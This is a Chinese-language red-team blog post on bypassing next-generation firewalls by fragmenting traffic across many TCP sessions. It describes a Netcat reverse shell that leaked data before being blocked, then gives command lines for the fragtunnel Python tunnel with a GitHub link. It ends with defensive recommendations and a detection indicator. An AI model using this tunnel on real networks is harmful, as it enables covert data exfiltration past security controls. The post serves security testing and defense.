背景
Next Generation Firewall（NGFW）是传统状态防火墙和统一威胁管理设备的下一代产品。它不仅包含传统防火墙的全部功能（基础包过滤、状态检测、NAT、VPN等）还集成了应用和用户的识别和控制、入侵防御等更高级的安全能力。相对于UTM设备，NGFW则拥有更快处理效率和更强的外部拓展、联动能力。
NGFW特点包含：
阻止/允许：IP 地址、TCP/UDP 端口、正在使用的应用程序、内容；
更多 OSI 层；
集成 IDS/IPS 功能；
扩展其它联动功能；
本次我们将围绕OSI第七层展开NGFW的绕过方案探索。
一些探索
当我们红队在测试某防火墙出口流量时，预期只有团队规定的80和443端口放行，但是我们发现很多端口被放行了。我们尝试SSH，FTP连接内部服务器均没有成功。
最后我们使用 Netcat 的反向 shell 成功，但不久后就被阻止了。尽管如此，还是有一些数据发送到了目标服务器！
所以NGFW到底在TCP连接的哪个阶段进行BLOCK的？通过翻看思科的文档找到了答案，思科的FTD使用Snort：
三次握手中，IPS/IDS 引擎将首先允许某些数据包，直到引擎能够确定这是否是不良/恶意流量。它解释了为什么端口扫描显示端口已打开，但尝试连接这些服务却失败。
所以是设计缺陷？
我们现在看一下标准的CS交互逻辑，client发送socket（针对的是应用层探索）请求，server解析并建立连接，然后交互数据最后关闭：
假如我们在关闭会话之后，循环的向某个服务器发送请求数据，是否就达到的“数据泄露”目的了？
DEMO
我们使用Palo Alto和Cisco防火墙用于测试，假设有如下规则，防火墙只允许网页浏览和80、443端口。
用Python编写的TCP隧道工具
将应用程序的流量通过隧道传输到目标服务器，从而绕过 NGFW
从应用程序接收到的数据被分割成更小的片段
每个片段都在不同的 TCP 会话中一一发送
从隧道出来的数据被合并以形成原始数据
原始数据发送到最终目标
脚本查看参考链接文档和脚本。或者使用附件脚本。
设置隧道服务器：
python fragtunnel.py -b <interface-ip>:<port-to-listen>
设置client：
python fragtunnel.py -p <local-port-to-listen> -t <target-server-address>:<target-server-port> -T <tunnel-server-address>:<tunnel-server-port>
建议
NGFW不能只依赖第七层（应用层）策略。相反，如果可能的话，我们应该在第 3 层和第 4 层阻止任何不需要的内容，然后在第 3 层制定规则;
如果可能，设置和使用更细粒度的第 7 层策略:
a) 将应用程序列入白名单，如果可能，具体到允许它应该与之通信的域；
b) 应用程序应与其通信的允许列表服务器 IP（第 3 层）
c) 应用程序应使用的协议（第 4 层 -7 层）
防护：使用相同端口从同一源到同一目的地大量重复 TCP 握手可能是妥协和可能泄露的指标
参考链接
https://github.com/efeali/fragtunnel/blob/main/fragtunnel.py
Network Application Firewalls: Exploits and Defenses, Defcon 2011, Brad Woodberg
Bypassing Next-Gen Firewall Rules, Nolasec 2012, Dave Laselle
Sinking the Next Generation Firewall, Derbycon 2016, Russel Butturini
Chunky Cookies: Smashing Application Aware Defenses, BSides Nashville 2017, Russel Butturini
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